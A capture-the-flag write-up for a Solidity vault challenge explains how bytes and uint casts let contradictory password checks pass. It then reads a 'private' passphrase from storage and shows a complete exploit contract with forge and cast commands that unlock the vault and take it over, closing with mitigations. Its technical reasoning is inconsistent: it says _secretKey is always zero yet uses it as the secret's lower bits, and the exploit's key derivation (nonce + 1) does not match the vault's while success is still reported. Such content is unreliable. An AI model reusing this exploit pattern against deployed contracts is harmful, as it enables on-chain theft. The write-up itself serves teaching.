Challenge Overview
Alex finds a magic vault sealed by powerful enchantments. The vault has a complex unlock mechanism that requires a specifically crafted password. This challenge tests your understanding of Solidity's type system, particularly how different types handle bytes and how block-dependent values create timing constraints.
Objective: Make isSolved() return true. The win condition checks that mapHolder is no longer the vault itself — i.e., someone has calledclaimContent() after successfully unlocking it.
Contract Architecture
Setup.sol
| 1 | contract Setup { |
| 2 | Vault public immutable TARGET; |
| 3 | |
| 4 | constructor() payable { |
| 5 | require(msg.value == 1 ether); |
| 6 | TARGET = new Vault(); |
| 7 | } |
| 8 | |
| 9 | function isSolved() public view returns (bool) { |
| 10 | return TARGET.mapHolder() != address(TARGET); |
| 11 | } |
| 12 | } |
The vault is initialized as its own mapHolder. We win when mapHolder is anyone else.
Vault.sol — The Target Contract
| 1 | contract Vault { |
| 2 | struct Map { |
| 3 | address holder; |
| 4 | bool initialized; |
| 5 | } |
| 6 | |
| 7 | Map public map; // slot 0 (address + bool, packed) |
| 8 | address public owner; // slot 1 |
| 9 | bytes32 private passphrase; // slot 2 — "private" but readable |
| 10 | uint256 public nonce; // slot 3 |
| 11 | bool public isUnlocked; // slot 4 |
| 12 | |
| 13 | constructor() { |
| 14 | map.holder = address(this); |
| 15 | map.initialized = true; |
| 16 | owner = msg.sender; |
| 17 | passphrase = keccak256(abi.encodePacked(address(this))); |
| 18 | nonce = 0; |
| 19 | isUnlocked = false; |
| 20 | } |
| 21 | |
| 22 | function mapHolder() public view returns (address) { |
| 23 | return map.holder; |
| 24 | } |
| 25 | |
| 26 | function unlock(bytes16 _password) public { ... } |
| 27 | function claimContent() public { |
| 28 | require(isUnlocked); |
| 29 | map.holder = msg.sender; |
| 30 | } |
| 31 | function _magicPassword() private returns (bytes8) { ... } |
| 32 | } |
Three things stand out immediately from reading this source:
passphraseis stored withprivate— but as we learned in Rivals, this doesn't prevent us from reading it via storage.- The
unlock()function takes abytes16password and setsisUnlocked— we need to understand what password it accepts. claimContent()is straightforward — it just needsisUnlockedto be true.
The Unlock Conditions
The unlock() function is the heart of the challenge:
| 1 | function unlock(bytes16 _password) public { |
| 2 | bytes8 _secret = _magicPassword(); |
| 3 | uint128 _input = uint128(_password); |
| 4 | uint128 _secretKey = uint128(uint64(_secret)); |
| 5 | |
| 6 | require(_input != _secretKey, // Case 1 |
| 7 | "Invalid password"); |
| 8 | require(uint64(_input) == uint64(_secretKey), // Case 2 |
| 9 | "Invalid password"); |
| 10 | require(uint64(bytes8(_password)) == uint64(uint160(owner)), // Case 3 |
| 11 | "Invalid password"); |
| 12 | |
| 13 | isUnlocked = true; |
| 14 | nonce++; |
| 15 | } |
At first glance, Cases 1 and 2 appear contradictory:
- Case 1:
_input != _secretKey— the full 128-bit password must NOT equal the secret key. - Case 2:
uint64(_input) == uint64(_secretKey)— the lower 64 bits of the password MUST equal the lower 64 bits of the secret key.
These can both be satisfied simultaneously if the password has different upper bits than the secret key, while sharing the same lower 64 bits. Case 3 tells us exactly what to put in the upper bits.
Understanding this requires understanding how Solidity's type conversions work.
Bytes vs Uint in Solidity
Mental Model — bytes vs uint alignment
bytes types are left-aligned (big-endian). Significant bytes occupy the leftmost positions. Padding goes on the right.
uint types are right-aligned. Significant bytes occupy the rightmost positions. Padding goes on the left.
This distinction matters when you cast between them. A bytes8 value does not have the same bit layout as a uint64 of the same apparent value.
When you widen a bytes8 to bytes16, zero-padding is added on the right:
bytes8 value: [ A A A A A A A A | _ _ _ _ _ _ _ _ ]
(8 significant bytes on the left)
Cast to bytes16: [ A A A A A A A A | 0 0 0 0 0 0 0 0 ]
(original 8 bytes, then 8 zero bytes)When you then convert bytes16 to uint128, the byte sequence is interpreted as a big-endian integer. A bytes16 value with the pattern[A A A A A A A A 0 0 0 0 0 0 0 0] becomes a 128-bit integer where the A-bytes occupy the upper 64 bits and zeros fill the lower 64.
This is how _secretKey is derived in unlock():
| 1 | bytes8 _secret = _magicPassword(); // an 8-byte value |
| 2 | |
| 3 | // Widen bytes8 → bytes16: pads with 8 zero bytes on the RIGHT |
| 4 | // bytes16: [ _secret[0..7] | 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ] |
| 5 | |
| 6 | // Cast bytes16 → uint128 |
| 7 | uint128 intermediate = uint128(bytes16(_secret)); |
| 8 | // upper 64 bits = _secret value | lower 64 bits = 0 |
| 9 | |
| 10 | // Cast uint128 → uint64: truncates to the LOWER 64 bits |
| 11 | uint128 _secretKey = uint128(uint64(intermediate)); |
| 12 | // _secretKey = 0 (the zeros from the right-padding!) |
This is the critical insight: _secretKey is always uint128(uint64(_secret_as_uint128)), which due to the byte-alignment of bytes8→bytes16→uint128, always has its upper 64 bits zero. So _secretKey is effectively a value whose upper 64 bits are zero.
Cracking the Three Cases
bytes16 _password layout:
┌──────────────────────────┬──────────────────────────┐
│ Upper 64 bits (8 bytes)│ Lower 64 bits (8 bytes)│
│ │ │
│ uint64(uint160(owner)) │ uint64(_secretKey) │
│ = lower 8 bytes of owner│ = _secret value │
└──────────────────────────┴──────────────────────────┘
│ │
│ └── Case 2: uint64(_input) == uint64(_secretKey) ✓
│
└── Makes upper bits of _input non-zero
→ _input != _secretKey (Case 1) ✓ (since _secretKey has zero upper bits)
→ Also satisfies Case 3: upper bytes of _password = lower bytes of owner ✓All three cases resolved:
- Case 1 (
_input != _secretKey): Our password has non-zero upper bits (filled with owner address bytes). The_secretKeyhas zero upper bits. They differ. ✓ - Case 2 (
uint64(_input) == uint64(_secretKey)): Both share the same lower 64 bits. ✓ - Case 3 (
uint64(bytes8(_password)) == uint64(uint160(owner))): We explicitly placeduint64(uint160(owner))in the upper bytes of our password. ✓
The password construction in code:
| 1 | // _secretKey value extracted from _magicPassword() |
| 2 | uint64 secretLow = uint64(magic); // lower 64 bits of the magic value |
| 3 | uint64 ownerLow = uint64(uint160(owner)); // lower 64 bits of the owner address |
| 4 | |
| 5 | // Pack both into a bytes16: |
| 6 | // upper 64 bits = ownerLow |
| 7 | // lower 64 bits = secretLow |
| 8 | bytes16 password = bytes16((uint128(ownerLow) << 64) | uint128(secretLow)); |
The Magic Password Function
Now we know the shape of the password — but we still need the value that goes in the lower 64 bits (the secretLow part). That comes from _magicPassword().
| 1 | function _magicPassword() private returns (bytes8) { |
| 2 | uint256 _key1 = _generateKey(block.timestamp % 2 + 1); |
| 3 | uint128 _key2 = uint128(_generateKey(2)); |
| 4 | bytes8 _secret = bytes8(bytes16( |
| 5 | uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2) |
| 6 | )); |
| 7 | return (_secret >> 32 | _secret << 16); |
| 8 | } |
| 9 | |
| 10 | function _generateKey(uint256 _reductor) private view returns (uint256) { |
| 11 | return uint256(keccak256(abi.encodePacked( |
| 12 | uint256(blockhash(block.number - _reductor)) + nonce |
| 13 | ))); |
| 14 | } |
The derivation depends on:
passphrase: Aprivate bytes32initialized in the constructor askeccak256(abi.encodePacked(address(this))). Readable from storage slot 2.nonce: Starts at 0, increments on each successful unlock. Readable as a public variable or from storage slot 3.blockhash(block.number - reductor): The hash of a specific recent block. Only known at mining time of the current transaction's block.block.timestamp % 2 + 1: The reductor for_key1is either 1 or 2, depending on whether the current block's timestamp is odd or even.
Why Off-Chain Prediction Fails
An intuitive approach: read passphrase and nonce from storage, simulate _magicPassword() off-chain, and submit the result.
This approach fails because:
WARNING
blockhash is only known when the block is mined.
When you prepare a transaction off-chain, you don't know which block it will be included in. You could estimate based on current block number and propagation time, but network delays can change the target block number by 1 or 2. If your estimated block differs from the actual mining block, the blockhash values differ, _magicPassword() returns a different value, and your submitted password fails.
Additionally, block.timestamp % 2 + 1 means the reductor flips between 1 and 2 depending on whether the block timestamp is even or odd — another value unknowable until mining time.
The On-Chain Atomic Solution
The solution is to replicate _magicPassword() inside our own exploit contract and callunlock() in the same transaction.
Mental Model — On-Chain Atomicity
All operations within a single Ethereum transaction execute in the same block. This means:
block.numberis identical for our exploit contract and the vaultblock.timestampis identicalblockhash(block.number - n)is identical
If our contract computes _magicPassword() using the same logic and the same inputs, it will get exactly the same output as the vault — in the same transaction.
Our EOA submits a single transaction:
call: ExploitContract.pwn(passphrase)
│
├── read nonce from vault
├── read owner from vault
├── compute _magicPassword() locally
│ (same blockhash, same block.timestamp)
├── derive secretKey from magic value
├── pack password = (ownerLow << 64) | secretKey
│
├── call vault.unlock(password)
│ (vault also computes _magicPassword()
│ in the SAME block → same result)
│
└── call vault.claimContent()
→ isUnlocked is true
→ map.holder = ExploitContract
→ isSolved() → trueReading the Private Passphrase
Before deploying the exploit contract, we need to read the passphrase from storage. The vault's storage layout:
Slot 0: map.holder + map.initialized (address 20B + bool 1B, packed in one slot) Slot 1: owner (address, 20 bytes) Slot 2: passphrase (bytes32, private — but readable!) Slot 3: nonce (uint256) Slot 4: isUnlocked (bool)
$ cast storage <TARGET_ADDRESS> 2 --rpc-url $RPC0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
This is the passphrase. We will pass it to the exploit contract so it can replicate the key derivation.
Writing and Deploying the Exploit
| 1 | // SPDX-License-Identifier: UNLICENSED |
| 2 | pragma solidity ^0.8.13; |
| 3 | |
| 4 | interface IVault { |
| 5 | function unlock(bytes16 _password) external; |
| 6 | function claimContent() external; |
| 7 | function owner() external view returns (address); |
| 8 | function nonce() external view returns (uint256); |
| 9 | } |
| 10 | |
| 11 | contract Exploit { |
| 12 | IVault vault; |
| 13 | |
| 14 | constructor(address _vault) { |
| 15 | vault = IVault(_vault); |
| 16 | } |
| 17 | |
| 18 | // Replicate the vault's _generateKey logic |
| 19 | function _generateKey(uint256 _nonce, uint256 _reductor) private view returns (uint256) { |
| 20 | return uint256(keccak256(abi.encodePacked( |
| 21 | uint256(blockhash(block.number - _reductor)) + _nonce |
| 22 | ))); |
| 23 | } |
| 24 | |
| 25 | // Replicate the vault's _magicPassword logic |
| 26 | function _magicPassword(bytes32 passphrase, uint256 _nonce) private view returns (bytes8) { |
| 27 | uint256 key1 = _generateKey(_nonce, block.timestamp % 2 + 1); |
| 28 | uint128 key2 = uint128(_generateKey(_nonce + 1, 2)); |
| 29 | bytes8 _secret = bytes8(bytes16( |
| 30 | uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ key1)))) ^ key2) |
| 31 | )); |
| 32 | return (_secret >> 32 | _secret << 16); |
| 33 | } |
| 34 | |
| 35 | function pwn(bytes32 passphrase) external { |
| 36 | uint256 _nonce = vault.nonce(); |
| 37 | address _owner = vault.owner(); |
| 38 | |
| 39 | bytes8 magic = _magicPassword(passphrase, _nonce); |
| 40 | uint64 secretLow = uint64(magic); // lower 64 bits of magic |
| 41 | uint64 ownerLow = uint64(uint160(_owner)); // lower 64 bits of owner |
| 42 | |
| 43 | // Construct the password: upper 64 bits = ownerLow, lower 64 bits = secretLow |
| 44 | bytes16 password = bytes16((uint128(ownerLow) << 64) | uint128(secretLow)); |
| 45 | |
| 46 | vault.unlock(password); |
| 47 | vault.claimContent(); |
| 48 | } |
| 49 | } |
The key design choices in this exploit contract:
- Lines 19–20:
_generateKeyis a pure view function that computes the sameblockhash-based key. Since it's called in the same transaction asunlock(), the blockhash values are identical. - Lines 25–30:
_magicPasswordreplicates the vault's function exactly. Thepassphraseis passed in as an argument (we read it from storage and supply it). - Lines 39–41: Extract the two components of the password: the lower 64 bits of the magic value, and the lower 64 bits of the owner address.
- Line 43: Pack them into a
bytes16with ownerLow in the upper 64 bits and secretLow in the lower 64 bits. - Lines 44–45: Call
unlock()and thenclaimContent()in one transaction.
Deploy the exploit contract:
$ export PASSPHRASE="0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563"
forge create Exploit.sol:Exploit \
--rpc-url "$RPC" \
--private-key "$PRIVATE_KEY" \
--broadcast \
--constructor-args "$TARGET"Deploying Exploit... Deployed to: 0x9D40C359a0E749756e2b8D4Cd15337B564B2f818
Execution & Verification
$ export EXPLOIT="0x9D40C359a0E749756e2b8D4Cd15337B564B2f818"
cast send "$EXPLOIT" "pwn(bytes32)" "$PASSPHRASE" \
--rpc-url "$RPC" \
--private-key "$PRIVATE_KEY"$ cast call "$TARGET" "mapHolder()" --rpc-url "$RPC"0x0000000000000000000000009D40C359a0E749756e2b8D4Cd15337B564B2f818
The mapHolder is now our exploit contract's address — no longer the vault itself. The win condition is satisfied.
$ cast call "$SETUP" "isSolved()" --rpc-url "$RPC"0x0000000000000000000000000000000000000000000000000000000000000001
Root Cause & Mitigation
Root Cause 1 — Private Storage Is Not Secret
The passphrase that seeded the key derivation was stored on-chain. Regardless of its private declaration, it is readable via eth_getStorageAt.
Root Cause 2 — Blockchain-Dependent Values are Replicable On-Chain
blockhash and block.timestamp are not private sources of entropy. Any contract can read these values. An attacker who replicates the logic on-chain can obtain exactly the same "secret" in the same transaction.
Correct Approaches
- Use a commit-reveal scheme with an off-chain secret that is never stored on-chain.
- Use a Verifiable Random Function (VRF) from an oracle like Chainlink VRF for genuine on-chain randomness.
- Do not use
blockhash,block.timestamp, orblock.numberas sources of secrecy — they are public values.
Lessons Learned
Lesson 1 — bytes and uint are NOT interchangeable
bytes types are left-aligned. uint types are right-aligned. Casting between them shifts which bits end up where. When reasoning about type conversions, always trace the bit layout through each step.
Lesson 2 — Seemingly Contradictory Conditions Often Have One Key
When you see two conditions that look impossible to satisfy simultaneously, look for a degree of freedom. Here, the difference between the full 128-bit value and its lower 64 bits is the key. Understanding truncation behavior is often the unlock to apparently impossible conditions.
Lesson 3 — Atomicity Eliminates Timing Problems
When an exploit depends on values only known at mining time (blockhash, block.timestamp), the solution is to replicate the target logic inside a contract and execute everything atomically. This is a reusable technique: if the challenge requires knowing the 'right value' at execution time, run your logic at execution time.
Lesson 4 — Re-read the Functions Carefully
This challenge rewards careful reading. _secretKey looks like the secret — but its derivation chain reveals it is always effectively the lower 64 bits of a value whose upper bits were zeroed. The contradiction between Cases 1 and 2 dissolves as soon as you trace the bit layout carefully.